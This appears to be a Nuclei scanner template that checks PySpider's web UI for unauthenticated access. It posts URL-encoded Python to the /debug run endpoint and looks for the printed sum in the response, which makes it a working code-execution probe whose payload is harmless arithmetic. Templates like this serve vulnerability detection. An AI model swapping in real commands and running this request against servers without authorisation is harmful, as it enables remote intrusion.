id: pyspider-unauthorized-access

info:
  name: Pyspider Unauthorized Access
  author: ritikchaddha
  severity: high
  description: Unauthorized Access exists in PySpider which is an open-source web crawling and web scraping framework written in Python.
  reference:
    - https://github.com/ianxtianxt/Pyspider-webui-poc
  metadata:
    max-request: 1
  tags: pyspider,unauth,vuln

http:
  - raw:
      - |
        POST /debug/pyspidervulntest/run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str(452345672+%2B+567890765))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1020236437"

      - type: status
        status:
          - 200
# digest: 490a004630440220023fbf050b40480e3f02fba12dc34a7fb71952bd3022012ba26098ff7e9a54ab0220366ebcbe646c5fc9e6a57a8942ab436fbff101be88aaa640252ad28b4dcac8b8:922c64590222798bb761d5b6d8e72950